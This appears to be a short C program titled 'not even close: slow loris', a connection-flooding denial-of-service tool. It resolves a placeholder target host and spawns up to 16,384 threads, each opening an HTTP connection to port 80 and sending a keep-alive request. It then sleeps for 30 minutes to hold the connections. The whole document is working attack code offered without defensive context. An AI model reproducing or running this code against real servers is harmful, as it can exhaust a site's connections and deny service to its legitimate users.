not even close: slow loris

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <error.h>
#include <pthread.h>

#define SOCK_LIMIT  16384

struct sockaddr_in addr;

void establish_connection(int *sock)
{
    char request[] = "GET / HTTP/1.1"                               "\r\n"
                     "Host: xxxxxxxxxxxxxxx"                        "\r\n"
                     "User-Agent: Internet Exploder/1.0 (Windows)"  "\r\n"
                     "Accept: text/html"                            "\r\n"
                     "Connection: keep-alive"                       "\r\n"
                     "\r\n";

    *sock = socket(AF_INET, SOCK_STREAM, 0);
    connect(*sock, (struct sockaddr*)&addr, sizeof(addr));

    send(*sock, request, sizeof(request), 0);
}

int main()
{
    int socks[SOCK_LIMIT];
    pthread_t threads[SOCK_LIMIT];
    int i;
    struct hostent *host;
    struct in_addr **addr_list;

    if ((host = gethostbyname("XXXXXXXXXX")) == NULL) {
        perror("gethostbyname()");
        exit(1);
    }

    addr_list = (struct in_addr **) host->h_addr_list;
    if (addr_list[0] == NULL) {
        exit(1);
    }
    addr.sin_addr = *addr_list[0];
    addr.sin_family = AF_INET;
    addr.sin_port = htons(80);


    for (i = 0; i < SOCK_LIMIT; i++) {
        pthread_create(&threads[i], NULL, (void*(*)(void*))&establish_connection, (void*)&socks[i]);
        //establish_connection(&socks[i]);

        if (i % 100 == 0) {
            printf("Initiated %d connections\n", i);
        }
    }

    sleep(1800);
}